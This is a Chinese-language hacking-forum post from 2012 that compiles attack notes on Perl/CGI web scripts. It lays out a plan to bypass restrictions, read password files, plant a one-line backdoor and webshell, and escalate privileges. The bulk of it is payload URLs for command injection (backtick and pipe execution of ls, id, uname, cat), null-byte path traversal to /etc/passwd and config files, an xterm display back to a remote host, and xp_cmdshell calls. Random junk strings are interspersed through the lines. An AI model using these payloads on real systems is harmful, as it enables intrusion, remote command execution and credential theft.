找回密码
 立即注册
查看: 2991|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  0 u9 ~4 U. u. h- m
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  0 t. r) g! p+ s3 V, s' a
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  " a7 Q( H3 v& ^) [3 n
注“  0 T6 W+ p0 E9 n8 ]$ M' T; C/ h
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
' l8 N; [4 r5 @& g7 r6 p" q0 m以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
/ H- J0 h' A  |# b
( x* y9 P% C$ G7 ^: Z4 T3 nhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  ; @% u2 t& b/ s' U0 Y, Y  L
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  " F! D$ x) t! m0 Q! z% j' Q+ _1 m
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号    i5 t) q% [! l0 F6 v; q% v; c
http://target.com/cgi-bin/home/news/sub.pl?`id`  
  S# `9 N) ?7 s2 Ghttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`    R7 P/ r' L8 ~# k; f
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  : K" \$ k* K4 Z$ E1 q, m
2 o- R/ ~8 _2 n; S+ r6 d! C9 u! w; k- t. K
http://target.com/test.pl;ls|  
9 H* m+ p" ^1 g* g+ V. Rhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  2 {( u" \; m. }4 p: p+ [) [
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  * G2 L6 Q: Z0 U. t
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  $ r$ \, k* S$ g  M! \7 p2 l
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
0 u( A' g; l: I5 l& c) f: a: Yhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  # Y& }8 ?: Q# T1 j2 T

$ ~( y, m0 w0 V9 \7 _) u0 e' _http://target.com/test.pl?&........ /../../etc/passwd    n" f2 n) b; D  D; Z+ e$ a
8 |6 `& }0 S6 z# O' O" K
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  4 M  h  C; I! y  x' M7 C4 O
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
  G* u: [* y' A2 _http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
" z& s1 e& l0 n. Z" R2 I  n7 r/ B. t: Y+ b
http://www.target.org/show.php?f ... /include/config.php 查看php代码  4 q0 z: ?$ i! N3 `7 E7 d# W7 R9 Q
http://www.target.org/show.php?f ... ng/admin/global.php  
/ e& C: q5 ~/ [5 v$ H) g6 a( G" N' G1 G
emm和ps的一句话
; l4 N+ F; |4 x4 N0 s
% ?- t( \, |2 J8 w: B& Q( R" nhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
8 |" K, V' i* B% H4 r) i
: }0 H( g# V3 e! Q5 y% {>bbb%20|  " M( y& ^( ^( L5 {' i

0 E; r3 j9 p" l" c- w' N1 _http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
% `. D6 I  Q6 m9 N" n& ~0 p: x: g4 ]. E0 c4 e9 S+ f4 |: t* I
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
* h3 h+ [$ K' Q+ ~/ Yhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  % u; t) K* q. G+ ^
1 D; N" V  J8 v4 n5 e
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
' V2 M8 t" A7 d% u7 j4 }http://target.com/index.html#cmd.exe  0 ]/ P1 I& p+ Z+ e; a
http://target.com/index.html?dummyparam=xp_cmdshell  
# R: r6 R" S' z% f0 Llynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  ; V( l9 T) n, ]6 ^* g9 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表